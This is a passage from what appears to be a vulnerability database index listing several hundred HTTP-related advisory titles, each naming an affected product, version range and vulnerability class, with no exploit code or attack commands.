8004| [127439] YunoHost up to 2.7.14 HTTP Response Header Header Injection privilege escalation
8005| [127426] MetInfo 6.1.3 HTTP Header applogin.php Variable privilege escalation
8006| [127368] TP-LINK TL-R600VPN HTTP Server header-parsing HTTP Request Code Execution
8007| [127367] TP-LINK TL-R600VPN HTTP Server HTTP Request privilege escalation
8008| [127366] TP-LINK TL-R600VPN HTTP Server Web Request directory traversal
8009| [127374] Modicon M340, Premium, Quantum PLCs and BMXNOR0200 Embedded Web Server HTTP Response Response Splitting privilege escalation
8010| [127297] OCS Inventory NG File Upload HTTP Requests Code Execution
8011| [127281] OpenWrt/LEDE uhttpd cgi-bin/ cgi_handle_request Request cross site scripting
8012| [127268] Cisco Prime License Manager Web Framework HTTP POST Request sql injection
8013| [127261] Node.js up to 6.14.x/8.13.x/10.13.x/10.2.x HTTP Header Slowloris denial of service
8014| [127260] Node.js up to 6.14.x/8.13.x/10.13.x HTTP Header Heap-based denial of service
8015| [127258] Node.js up to 6.14.x/8.13.x HTTP Request Response Splitting privilege escalation
8016| [127124] Buffalo TS5600D1206 3.61-0.10 nasapi HTTP Host Header weak authentication
8017| [127077] HuCart 5.7.4 helper_class.php get_ip() HTTP Header sql injection
8018| [127056] PRTG Network Monitor up to 18.2.40 /api/addusers HTTP Request privilege escalation
8019| [127055] PRTG Network Monitor up to 18.2.40 /public/login.htm HTTP Request privilege escalation
8020| [127040] Loadbalancer.org Enterprise VA MAX up to 8.3.2 Apache HTTP Server Log cross site scripting
8021| [126973] ZTE ZXHN F670 V1.1.10P3T18 appviahttp Service privilege escalation
8022| [126970] ZTE ZXHN F670 V1.1.10P3T18 appviahttp Service information disclosure
8023| [126905] NEOJAPAN Denbun Mail Search HTTP Requests sql injection
8024| [126802] Nagios XI 5.5.6 HTTP Request Command privilege escalation
8025| [126801] Nagios XI 5.5.6 Snoopy 1.0 HTTP Request privilege escalation
8026| [126669] PRTG Network Monitor up to 18.3 HTTP Advanced Sensor HttpAdvancedSensor.exe POST Parameter privilege escalation
8027| [126668] PRTG Network Monitor up to 18.2 PRTG Core Server Service HTTP Request denial of service
8028| [126649] JEESNS 1.3 XssHttpServletRequestWrapper.java cross site scripting
8029| [126577] Cisco Stealthwatch Enterprise Management Console HTTP Request privilege escalation
8030| [126530] lighttpd up to 1.4.49 mod_alias_physical_handler mod_alias.c directory traversal
8031| [126525] nginx up to 1.14.0/1.15.5 ngx_http_mp4_module Loop denial of service
8032| [126524] nginx up to 1.14.0/1.15.5 HTTP2 CPU Exhaustion denial of service
8033| [126523] nginx up to 1.14.0/1.15.5 HTTP2 Memory Consumption denial of service
8034| [126406] Green Electronics RainMachine Mini-8/Touch HD 12 Web Application HTTP Header weak authentication
8035| [126080] zzcms 8.3 zt/top.php HTTP Header sql injection
8036| [126071] Acme mini_httpd up to 1.29 directory traversal
8037| [126002] Arcserve Unified Data Protection up to 6.5 Update 4 UdpHttpService XML External Entity
8038| [125972] Mozilla Firefox up to 62.x HTTP Warning spoofing
8039| [125961] Mozilla Firefox up to 62.x on Android HTTP Live Streaming privilege escalation
8040| [125916] Splunk Enterprise up to 6.2.13/6.3.9/6.4.6/6.5.4 HTTP Request denial of service
8041| [125914] Splunk Enterprise up to 6.2.13/6.3.10/6.4.7 Splunkd HTTP Request denial of service
8042| [125841] Advantech WebAccess up to 8.3.2 opcImg.asp HTTP Request memory corruption
8043| [125828] LIVE555 RTSP Server 0.92 HTTP Packet Parser Crafted Packet Stack-based memory corruption
8044| [125726] Cisco Enterprise NFV Infrastructure Software Management Interface HTTP Requests cross site request forgery
8045| [125710] Cisco Wireless LAN Controller Software Web-based Interface HTTP Request information disclosure
8046| [125668] D-Link DWR-111 Web Interface HTTP Request directory traversal
8047| [125569] Oracle PeopleSoft Enterprise PeopleTools 8.55/8.56 Apache HTTP Server information disclosure
8048| [125443] Oracle HTTP Server 12.2.1.3 Web Listener memory corruption
8049| [125276] Micro Focus Enterprise Developer and Enterprise Server up to 2.3 Update 2/3.0 Update 11/4.0 Update 1 HTTP Request Parameter NULL Pointer Dereference denial of service
8050| [125222] Eclipse Vert.x up to 3.5.3 HTTP Response denial of service
8051| [125186] EpiCentro E_7.3.2+ httpd GET Request memory corruption
8052| [125185] EpiCentro E_7.3.2+ httpd GET Request memory corruption
8053| [125038] privacyIDEA up to 2.23.1 /validate/check HTTP Request denial of service
8054| [124952] wp-slimstat Plugin up to 4.1.6.0 on WordPress HTTP Referer Header cross site scripting
8055| [124931] Cisco HyperFlex HX Data Platform Web-based UI HTTP Requests information disclosure
8056| [124925] Cisco HyperFlex Software Web UI HTTP Requests Clickjacking privilege escalation
8057| [124907] Cisco Integrated Management Controller Web Interface HTTP Request information disclosure
8058| [124906] Cisco Integrated Management Controller Web Interface HTTP Request denial of service
8059| [124892] Cicoandcico ASA/Firepower Threat Defense Cryptographic Hardware Accelerator Driver denial of service
8060| [124890] Cisco Prime Infrastructure HTTP Web Server File Upload privilege escalation
8061| [124862] Cisco IOS XE Web Framework HTTP Packet memory corruption
8062| [124861] Cisco IOS XE Web User Interface HTTP Requests Double-Free denial of service
8063| [124853] Cisco Enterprise NFV Infrastructure Software Web-based Management Interface HTTP Request denial of service
8064| [124839] Cisco Data Center Network Manager Web Interface HTTP Request privilege escalation
8065| [124821] Cisco RV180W/RV220W Web Framework HTTP Request directory traversal
8066| [124651] TP-LINK TL-WRN841N 0.9.1 4.16 v0348.0 Web Interface HTTP Header denial of service
8067| [124650] TP-LINK TL-WRN841N 0.9.1 4.16 v0348.0 Web Interface HTTP Header denial of service
8068| [124496] AssoCIateD Postman up to up to 6.3.0 X.509 Certificate Validation HTTPS Request Man-in-the-Middle information disclosure
8069| [124469] Philips e-Alert Unit up to R2.1 HTTP Response Header Banner information disclosure
8070| [124447] Apache HTTP Server up to 2.4.34 SETTINGS Frame denial of service
8071| [124430] Python up to 3.8 Elementtree C Accelerator XML Document Collision denial of service
8072| [124436] Asterisk PBX up to 13.23.0/14.7.7/15.6.0 res_http_websocket.so HTTP Request denial of service
8073| [124392] Samsung SmartThings Hub Video-Core HTTP Server HTTP Request Stack-based memory corruption
8074| [124391] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server /cameras/XXXX/clips memory corruption
8075| [124390] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server memory corruption
8076| [124389] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server memory corruption
8077| [124388] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server memory corruption
8078| [124387] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server memory corruption
8079| [124346] Apache Mesos pre-1.4.2/1.5.0/1.5.1/1.6.0 on Executor HTTP API String Comparison validation JSON Web Token information disclosure
8080| [124239] NUUO NVRMini2 up to 3.8.0 cgi_system HTTP Requests privilege escalation
8081| [124237] Foscam C1 Indoor HD Camera 2.52.2.43 Web Management Interface HTTP Request memory corruption
8082| [124233] Foscam C1 Indoor HD Camera 2.52.2.43 Web Management Interface HTTP Request command injection
8083| [124159] Oracle WebCenter Interaction Portal 10.3.3 Session Cookie httponly privilege escalation
8084| [124139] Foscam C1 Indoor HD Camera 2.52.2.43 Recovery Procedure HTTP Request privilege escalation
8085| [124133] Insteon Hub 1012 HTTP Server GET Parameter information disclosure
8086| [124127] zzcms 8.3 HTTP Header /user/check.php sql injection
8087| [124081] D-Link DIR-816 A2 1.10 B05 /goform/sylogapply handler HTTP Request command injection
8088| [124077] LG SuperSign CMS Service Port 9080 reboot HTTP Request denial of service
8089| [123966] Monstra CMS 3.0.4 Captcha cryptographp.php HTTP Header privilege escalation
8090| [123948] Lone Wolf Technologies loadingDOCS 2018-08-13 Permission HTTPS Request privilege escalation
8091| [123905] xunfeng 0.2.0 views/lib/AntiCSRF.py HTTP Header cross site request forgery
8092| [123754] OctoPrint up to 1.3.9 Service Port 8081 HTTP Requests privilege escalation
8093| [123732] KONE Group Controller up to 4.6.5 HTTP interfaces Parameter Local File Inclusion privilege escalation
8094| [123730] KONE Group Controller up to 4.6.5 HTTP interfaces Code Execution
8095| [123729] KONE Group Controller up to 4.6.5 HTTP interfaces denial of service
8096| [123599] NodeJS Tough-Cookie 2.2.2 HTTP Cookie Regular Expression denial of service
8097| [123537] Gogs 0.11.53 HTTP GET Request Server-Side Request Forgery
8098| [123464] simplehttpserver up to 0.2.0 Listing directory traversal
8099| [123434] Lightbend Akka HTTP up to 10.0.13/10.1.4 decodeRequest/decodeRequestWith Request denial of service
8100| [123390] Apache Traffic Server up to 6.2.2/7.1.3 Request HTTP Smuggling privilege escalation
8101| [123380] Cybrotech CyBroHttpServer 1.0.3 URI cross site scripting
8102| [123379] Cybrotech CyBroHttpServer 1.0.3 URI directory traversal
8103| [123346] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Requests privilege escalation
8104| [123336] D-Link DIR-615 HTTP Header memory corruption
8105| [123293] Samsung SmartThings Hub STH-ETH-250 0.20.17 hubCore Process HTTP Request denial of service
8106| [123292] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
8107| [123291] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process /cameras/XXXX/clips HTTP Request memory corruption
8108| [123259] mod_perl up to 2.0.10 .htaccess HTTP Request privilege escalation
8109| [123207] NEC Aterm WG2600HP2 1.0.2 Web Service API negotiate HTTP Request privilege escalation
8110| [123205] PLANEX CS-W50HD up to 30719 Web Management UI /cgi-bin/nasset.cgi HTTP POST Request command injection
8111| [123204] D-Link EyeOn Baby Monitor DCS-825L 1.08.1 Web Service Framework HTTP Requests command injection
8112| [123202] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Requests REST privilege escalation
8113| [123201] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Requests JSON privilege escalation
8114| [123194] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Requests Stack-based memory corruption
8115| [123193] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
8116| [123191] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Header Injection privilege escalation
8117| [123190] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
8118| [123189] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
8119| [123188] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
8120| [123187] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based sql injection
8121| [123186] Samsung SmartThings Hub STH-ETH-250 0.20.17 Credentials HTTP Requests JSON sql injection
8122| [123184] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video Core HTTP Request Stack-based memory corruption
8123| [123183] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video Core HTTP Requests Stack-based memory corruption
8124| [123181] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
8125| [123178] Insteon Hub 1013 HTTP Server /mpfsupload POST Request privilege escalation
8126| [123161] MikroTik RouterOS up to 6.40.8/6.42.6 HTTP Server Disconnect denial of service
8127| [123160] MikroTik RouterOS up to 6.40.8/6.42.6 HTTP Server JSON Recursion denial of service
8128| [123159] MikroTik RouterOS up to 6.40.8/6.42.6 HTTP Server HTTP POST Request Memory Exhaustion denial of service
8129| [123156] Insteon Hub 2245-222 1012 PubNub Service HTTP Request Stack-based memory corruption
8130| [123045] PostgreSQL up to 9.3.14/9.4.9/9.5.4 Interactive Installer HTTP privilege escalation
8131| [123020] EmbedThis GoAhead/Appweb HTTP POST Request NULL Pointer Dereference denial of service
8132| [123019] EmbedThis GoAhead/Appweb HTTP Request NULL Pointer Dereference denial of service
8133| [122911] Sony IPELA E Network Camera G5 1.87.00 GET Request HTTP Request command injection
8134| [122891] Eclipse Vert.x up to 3.5.1 HttpServer/HttpClient Header Header Injection privilege escalation
8135| [122889] Apache HTTP Server up to 2.2.31/2.4.23 mod_userdir HTTP Response Splitting privilege escalation
8136| [122737] CouchDB up to 2.1.x HTTP API Code Execution
8137| [122650] Insteon Hub up to 1012 PubNub Service HTTP Request Stack-based memory corruption
8138| [122649] Insteon Hub up to 1012 PubNub Message HTTP Request Stack-based memory corruption
8139| [122581] OCS Inventory 2.4.1 XML Parser HTTP Request privilege escalation
8140| [122593] PHP up to 7.0.26/7.1.12/7.2.0 http_fopen_wrapper.c HTTP Response memory corruption
8141| [122591] Symfony up to 4.1.2 HttpKernel Header privilege escalation
8142| [122590] Symfony up to 4.1.2 Http Foundation prepareRequestUri() Request Header privilege escalation
8143| [122565] Insteon Hub 1013 HTTP Server HTTP Requests denial of service
8144| [122545] SAP BPC Reporting HTTP Requests XML External Entity
8145| [122544] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
8146| [122543] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
8147| [122542] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
8148| [122541] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
8149| [122540] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
8150| [122539] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
8151| [122538] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
8152| [122537] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
8153| [122536] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
8154| [122535] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
8155| [122534] Insteon Hub 1012 HTTP Server HTTP GET Request Stack-based memory corruption
8156| [122533] Insteon Hub 1012 HTTP Server HTTP GET Request memory corruption
8157| [122532] Insteon Hub 1012 HTTP Server HTTP GET Request memory corruption
8158| [122507] Agiletestware Pangolin Connector for TestRail Plugin up to 2.1 on Jenkins GlobalConfig.java HTTP Requests privilege escalation
8159| [122501] TraceTronic ECU-TEST Plugin up to 2.3 on Jenkins ATXPublisher.java HTTP Requests Server-Side Request Forgery
8160| [122471] Ceph 1.3.x Object Gateway HTTP Requests CORS denial of service
8161| [122291] Undertow HTTP HTTP Response Cache Poisoning privilege escalation
8162| [122256] Undertow up to 1.3.30/1.4.16 HTTP Request Header Request Smuggling privilege escalation
8163| [122199] F5 BIG-IP up to 11.6.3.2/12.1.3.6/13.0.1 HTTP Health Monitor unknown vulnerability
8164| [122198] F5 BIG-IP ASM up to 11.5.6/11.6.3.1/12.1.3.5/13.1.0.1 bd HTTP Requests CPU Exhaustion denial of service
8165| [122106] Jenkins up to 2.121.1/2.132 Stapler Web Framework Stapler.java HTTP Requests directory traversal
8166| [122017] IBM Sterling B2B Integrator up to 5.2.6 HTTP Requests information disclosure
8167| [121993] F5 BIG-IP up to 11.6.3/12.1.3/13.1.0 TMM HTTP Response Restart denial of service
8168| [121953] Wireshark up to 2.6.1 HTTP2 Dissector packet-http2.c Packet denial of service
8169| [121935] Cisco Policy Suite Policy Builder HTTP Request privilege escalation
8170| [121916] Cisco SD-WAN Solution up to 18.2.x Configuration/Management HTTP Request denial of service
8171| [121910] Apache HTTP Server 2.4.33 mod_md HTTP Requests denial of service
8172| [121900] Atlassian up to 2.0.2 atlassian-http Content-Type spoofing
8173| [121870] Oracle Sun ZFS Storage Appliance Kit (AK) up to 8.7.17 HTTP Data Path Subsystems unknown vulnerability
8174| [121540] Play Framework 2.6.12/2.6.13/2.6.14/2.6.15 on Windows Assets Controller HTTP Requests directory traversal
8175| [121481] VelotiSmart WiFi B-380 Camera 1.0.0 uc-http Service directory traversal
8176| [121463] Hughes HN7740S/DW7000/HN7000S-SM /com/gatewayreset HTTP GET Request privilege escalation
8177| [121447] Imagely NextGEN Gallery up to 2.1.56 on WordPress HTTP POST Request privilege escalation
8178| [121436] Zizai Nut App HTTP weak encryption
8179| [121354] Apache CouchDB HTTP API Code Execution
8180| [121324] Juniper SRX HTTP/HTTPS Request Man-in-the-Middle weak encryption
8181| [121194] Intel Manageability Engine up to 11.x Active Management Technology HTTP Request memory corruption
8182| [120939] ABBYY FlexiCapture 12 Release 1 Update 6 HTTP API SevaUserProfile Parameter privilege escalation
8183| [120492] Synology SSL VPN Client up to 1.2.4 HTTP Daemon Man-in-the-Middle privilege escalation
8184| [120309] Schneider Electric U.motion Builder up to 1.3.3 HTTP GET Request unknown vulnerability
8185| [120247] Sonos Wireless Speaker UPnP HTTP Server DNS Rebinding privilege escalation
8186| [119992] AXIS IP Camera httpd memory corruption
8187| [119975] Openstack Cloud Plugin up to 2.35 on Jenkins BootSource.java HTTP Requests information disclosure
8188| [119967] Trovebox up to 4.0.0-rc6 Password Reset HTTP Request privilege escalation
8189| [119966] Trovebox up to 4.0.0-rc6 HTTP Request Server-Side Request Forgery
8190| [119965] Trovebox up to 4.0.0-rc6 Album HTTP Request sql injection
8191| [119964] Trovebox up to 4.0.0-rc6 Album View HTTP Request weak authentication
8192| [119962] Wekan 1.04.0 HTTP Request User information disclosure
8193| [119936] aio-libs aiohttp-session Session Session Fixation weak authentication
8194| [119873] Eclipse Jetty up to 9.2.x/9.3.x/9.4.x HTTP 0.9 Request Cache Poisoning privilege escalation
8195| [119842] Spring Framework up to 4.3.17/5.0.6 MVC HTTP Request cross site scripting
8196| [119837] DIGISOL DG-BR4000NG Authorization Header HTTP Header memory corruption
8197| [119811] MISP 2.4.92 Brute-Force Protection UsersController.php HTTP PUT Request privilege escalation
8198| [119795] Micro Focus Business Manager up to 11.3 HTTP Header Reflected privilege escalation
8199| [119783] Cisco Meeting Server Web Admin Interface HTTP Requests Restart denial of service
8200| [119774] Cisco NX-OS NX-API Subsystem HTTP Packet command injection
8201| [119764] Cisco FXOS/UCS Fabric Interconnect Software Web UI HTTP Packet memory corruption
8202| [119747] Cisco NX-OS NX-API Subsystem HTTP Packet memory corruption
8203| [119690] Mongoose 6.11 HTTP Request mongoose.c mbuf_insert memory corruption
8204| [119676] Linaro Lava Submit Page HTTP Request File information disclosure
8205| [119660] PortSwigger Burp Suite Community Edition 1.7.32/1.7.33 Server Certificate Validator HTTPS Request Man-in-the-Middle weak encryption
8206| [122569] Apache HTTP Server up to 2.4.33 HTTP2 Request denial of service
8207| [119595] McAfee ePolicy Orchestrator up to 5.9.1 Application Protection HTTP Request privilege escalation
8208| [119569] Automated Logic WebCTRL 6.0/6.1/6.5 HTTP Header XML External Entity
8209| [119545] Huawei HG255s-10 V100R001C163B025SP02 HTTP Requests directory traversal
8210| [119539] Node.js 9.x/10.x HTTP Server Crash denial of service
8211| [119503] SensioLabs Symfony up to 2.7.47/2.8.40/3.3.16/3.4.10/4.0.10 HttpFoundation PDOSessionHandler denial of service
8212| [119470] Microsoft Windows up to Server 2016 HTTP HTTP.sys denial of service
8213| [119437] Microsoft Windows up to Server 2016 HTTP Protocol Stack Http.sys memory corruption
8214| [119408] Western Digital TV Media Player/TV Live Hub Web Server toServerValue.cgi HTTP Requests Code Execution
8215| [119376] McAfee Network Security Management up to 8.2.7 Web Interface HTTP Request privilege escalation
8216| [119280] XiongMai uc-httpd 1.0.0 memory corruption
8217| [119262] McAfee Common UI 2.0.2 ePO Extension HTTP Request privilege escalation
8218| [119227] Cisco ASA Authentication HTTP Traffic privilege escalation
8219| [119218] https-proxy-agent up to 2.1.0 on Node.js JSON Parameter Memory Leak denial of service
8220| [119215] https-proxy-agent on Node.js Memory Leak denial of service
8221| [119198] simplehttpserver on Node.js cross site scripting
8222| [119195] angular-http-server on Node.js URL directory traversal
8223| [119121] fast-http-cli on Node.js URL directory traversal
8224| [119101] http_static_simple on Node.js URL directory traversal
8225| [119096] HTTP Client Module on Node.js ZIP Archive Memory Consumption denial of service
8226| [119066] charset up to 1.0.0 on Node.js DHTTP_MAX_HEADER_SIZE Regular Expression denial of service
8227| [119065] tiny-http on Node.js URL directory traversal
8228| [119062] iter-http on Node.js URL directory traversal
8229| [119044] http-proxy.js on Node.js Environment Variable privilege escalation
8230| [118985] Jenkins up to 2.120/LTS 2.107.2 ZipExtractionInstaller.java HTTP GET Request Server-Side Request Forgery
8231| [118904] Http-proxy up to 0.6.x on Node.js Error Crash denial of service
8232| [118903] Hapi up to 16.1.0 on Node.js HTTP Header Crash denial of service
8233| [118896] http-signature up to 0.9.11 on Node.js Download weak encryption
8234| [118617] Nikto up to 2.1.6 CSV Report HTTP Response Header privilege escalation
8235| [118522] httpsync on Node.js Download weak encryption
8236| [118302] Hapi Module up to 11.1.2 on Node.js HTTP Header denial of service
8237| [118281] dtSearch up to 7.90.8538.1 search HTTP Request denial of service
8238| [118237] Trend Micro Smart Protection Server 3.x HTTP HTTP Requests denial of service
8239| [118220] HAProxy up to 1.8.9 Authorization Header proto_http.c check_request_for_cacheability information disclosure
8240| [118162] ABB SREA-01/SREA-50 HTTP Request privilege escalation
8241| [117974] D-Link DIR-550A/DIR-604M up to 2.10KR HTTP Request Code Execution
8242| [117891] Node.js HTTP Parser unknown vulnerability
8243| [117782] Intelbras NCLOUD 300 1.0 ExportSettings.sh HTTP POST Request weak authentication
8244| [117662] D-Link DIR-816 A2 CN 1.10B05 GoAhead Web Server websRedirect HTTP Host Header memory corruption
8245| [117553] SAP Internet Graphics Server 7.20/7.20EXT/7.45/7.49/7.53 HTTP Listener/RFC Listener Flooding denial of service
8246| [117415] nghttp2 up to 0.9.x/1.30.x ALTSVC Frame Segmentation Fault denial of service
8247| [117389] GNU wget up to 1.19.4 Cookie http.c resp_new privilege escalation
8248| [117355] Sierra Wireless AirLink LS300 HTTP Request privilege escalation
8249| [117347] Apache Ambari up to 2.6.1 HTTP Request directory traversal
8250| [117210] Huawei MBB E5771h-937 Webserver HTTP Request denial of service
8251| [117182] CMS Made Simple up to 2.2.7 tmp/ HTTP Requests privilege escalation
8252| [117164] Edimax IC-3140W/5150W/IC-6220DC getsysyeminfo.cgi strcpy() HTTP Request memory corruption
8253| [117054] GNOME libsoup 2.58 HTTP Request Stack-based memory corruption
8254| [117046] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request command injection
8255| [117045] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request command injection
8256| [116954] Ericsson-LG iPECS NMS A.1Ac HTTP POST Request information disclosure
8257| [116924] Belkin N750 1.10.22 Telnet set.cgi HTTP Request weak authentication
8258| [116923] Belkin N750 1.10.22 HTTP Request proxy.cgi memory corruption
8259| [116922] Belkin N750 1.10.22 HTTP Request proxy.cgi privilege escalation
8260| [116921] Belkin N750 1.10.22 HTTP Request twonky_command.cgi privilege escalation
8261| [116884] Cisco MATE Live Web Interface HTTP Requests information disclosure
8262| [116586] Schneider Electric BMXNOR0200 Request Parser HTTP Request Code Execution
8263| [116564] gunicorn 19.4.5 gunicorn/http/wsgi.py process_headers HTTP Header privilege escalation
8264| [116561] Fyodor Nmap up to 7.60 http-fetch directory traversal
8265| [116818] Oracle Sun ZFS Storage Appliance Kit up to 8.7.16 HTTP data path subsystems information disclosure
8266| [116815] Oracle Sun ZFS Storage Appliance Kit up to 8.7.16 HTTP data path subsystems denial of service
8267| [116700] Oracle HTTP Server 12.1.3/12.2.1.2 OSSL Module information disclosure
8268| [116309] Appear TV XC5000/XC5100 3.26.217 Web Server HTTP GET Request directory traversal
8269| [116206] plays.tv Service up to 1.27 plays_service.exe HTTP Message privilege escalation
8270| [116205] plays.tv Service up to 1.27 plays_service.exe HTTP Message privilege escalation
8271| [116168] F5 BIG-IP up to 11.5.5/11.6.2/12.1.2 SPDY/HTTP2 Request denial of service
8272| [116218] CyberArk Password Vault Web Access up to 9.9.4 REST API HTTP Header privilege escalation
8273| [116171] Kaazing Gateway/Gateway JMS Edition HTTP/WebSocket HTTP Request privilege escalation
8274| [116140] Kaazing Gateway/Gateway JMS Edition 4.0.2/4.0.3/4.0.4 WebSocket HTTP Request Response Splitting information disclosure
8275| [116100] ubiQuoss VP5208A /cgi-bin/bcm_password HTTP Request information disclosure
8276| [116054] Symantec Advanced Secure Gateway/CacheFlow/ProxySG Management Console HTTP/HTTPS Request Crash denial of service
8277| [116024] Microsoft Windows up to Server 2016 HTTP.sys denial of service
8278| [115904] Moxa MXView 2.8 Private Key HTTP GET Request information disclosure
8279| [115670] D-Link DSL-3782 1.01 Diagnostics /userfs/bin/tcapi Diagnostics_Entry HTTP Request memory corruption
8280| [115665] Ruby up to 2.2.9/2.3.6/2.4.3/2.5.0 WEBrick Server HTTP Request Memory Consumption denial of service
8281| [115637] Ruby up to 2.2.9/2.3.6/2.4.3/2.5.0 HTTP Server HTTP Response Split privilege escalation
8282| [115496] SickRage HTTP Response Credentials information disclosure
8283| [115192] Cisco IOS XE Web-based User Interface HTTP Requests privilege escalation
8284| [115105] Cisco Spark Hybrid Calendar Service Auto Discovery HTTP Request weak encryption
8285| [115061] Apache HTTP Server up to 2.4.29 HTTP Digest Authentication Challenge HTTP Requests Replay privilege escalation
8286| [115060] Apache HTTP Server up to 2.4.29 mod_cache_socache Request Header Crash denial of service
8287| [115059] Apache HTTP Server up to 2.4.29 HTTP2 NULL Pointer Dereference denial of service
8288| [115058] Apache HTTP Server up to 2.4.29 HTTP Header Crash denial of service
8289| [115057] Apache HTTP Server up to 2.4.29 mod_session Variable Name Cache privilege escalation
8290| [115039] Apache HTTP Server up to 2.4.29 FilesMatch File Upload privilege escalation
8291| [115038] Apache HTTP Server up to 2.0.65/2.2.34/2.4.29 mod_authnz_ldap Crash denial of service
8292| [114947] IBM Jazz Foundation HTTP Request information disclosure
8293| [114784] Ceph up to 12.2.3/13.0.1 rgw_civetweb.cc RGWCivetWeb::init_env HTTP Header denial of service
8294| [114750] YzmCMS 3.7.1 global.func.php HTTP POST Request Code Execution
8295| [114661] Apache Allura up to 1.8.0 HTTP Response Splitting privilege escalation
8296| [114583] Jolokia Agent 1.3.7 HTTP Servlet cross site scripting
8297| [114395] brianleroux tiny-json-http SSL Certificate Validator Man-in-the-Middle weak authentication
8298| [114369] Flexense SyncBreeze Enterprise 10.6.24 Web Server syncbrs.exe HTTP Requests memory corruption
8299| [114341] WebLog Expert Web Server Enterprise 9.4 Service Port 9991 HTTP Accept Header Crash denial of service
8300| [114258] Apache HTTP Server up to 2.4.22 mod_cluster Segmentation Fault denial of service
8301| [114208] Cisco Identity Services Engine Credential Reset HTTP Request privilege escalation
8302| [114100] SimpleSAMLphp up to 1.15.3 Signature Validation HTTPRedirect.php Return Value weak authentication
8303| [114089] Moxa OnCell G3100-HSPA up to 1.4 Build 16062919 HTTP Request denial of service
8304| [114056] Wowza Streaming Engine up to 4.7.0 HTTP Request directory traversal
8305| [113991] PHP up to 5.6.33/7.0.27/7.1.14/7.2.2 http_fopen_wrapper.c php_stream_url_wrap_http_ex HTTP Response memory corruption
8306| [113988] Tenda Ac9 V15.03.05.14_EN httpd Stack-based memory corruption
8307| [113986] Wowza Streaming Engine up to 4.7.0 com.wowza.wms.http.HTTPProviderMediaList HTTP Request cross site scripting
8308| [113985] Wowza Streaming Engine up to 4.7.0 HTTP Request Memory Consumption denial of service
8309| [113688] Asterisk HTTP Server res_http_websocket.c Size 0 denial of service
8310| [113602] FSX-P3Dv4 Installer 2.0.1.231 HTTP Traffic Cleartext information disclosure
8311| [113481] Jenkins up to 2.106/LTS 2.89.3 HTTP GET Request information disclosure
8312| [113382] Huawei DP300/RP200/TE30/TE40/TE50/TE60/TX50 HTTP Message memory corruption
8313| [113381] Huawei DP300/RP200/TE30/TE40/TE50/TE60/TX50 HTTP Message memory corruption
8314| [113380] Huawei DP300/RP200/TE30/TE40/TE50/TE60/TX50 HTTP Message memory corruption
8315| [113355] Huawei UMA V200R001C00 Maintenance Module HTTP Requests sql injection
8316| [113121] Vobot Clock up to 0.99.29 Breakout Download HTTP Response weak encryption
8317| [113073] Squid Proxy up to 4.0.22 HTTP Header HTTP Response NULL Pointer Dereference denial of service
8318| [113070] Squid Proxy up to 3.5.27/4.0.22 ESI Response HTTP Response denial of service
8319| [112985] Cisco RV132W Configuration Parameter HTTP Response information disclosure
8320| [112984] Cisco RV132W 1.0.1.11 Web Interface HTTP Request memory corruption
8321| [112981] Cisco Unified Communications Manager Web Framework HTTP Requests sql injection
8322| [112950] Google Chrome OS ChromeVox HTTP Requests Cleartext privilege escalation
8323| [112921] Suricata up to 4.0 HTTP Detection detect.c/stream-tcp.c TCP Packets privilege escalation
8324| [112920] Saifor CVMS HUB 1.3.1 HTTP Parameter secciones.xhtml sql injection
8325| [112878] mini_httpd/thttpd htpasswd memory corruption
8326| [113803] uTorrent Web HTTP RPC Server privilege escalation
8327| [112675] Asus AsusWRT up to 3.0.0.4.376.x HTTPd Server memory corruption
8328| [112674] Asus AsusWRT up to 3.0.0.4.380.7743 HTTPd Server Session Token privilege escalation
8329| [112673] Asus AsusWRT up to 3.0.0.4.380.7743 HTTPd Server Session Token privilege escalation
8330| [112626] Fortinet FortiOS up to 5.2/5.4.7/5.6.2 HTTP Header HTTP Requests cross site scripting
8331| [112508] Email Subscribers & Newsletters Plugin up to 3.4.7 on WordPress HTTP POST User information disclosure
8332| [112491] Wonder CMS 2.3.1 HTTP Host Header Open Redirect
8333| [112471] Swarm Plugin Client up to 3.4 on Jenkins commons-httpclient weak authentication
8334| [112466] Maven Plugin up to 2.17 on Jenkins commons-httpclient Certificate weak authentication
8335| [112465] Jenkins up to 2.73.1/2.83 commons-httpclient Certificate weak authentication
8336| [112452] RAVPower FileHub 2.000.056 HTTP Server privilege escalation
8337| [112405] RAVPower FileHub 2.000.056 HTTP Request information disclosure
8338| [112400] libcURL up to 7.57.0 HTTP Header HTTP Requests information disclosure
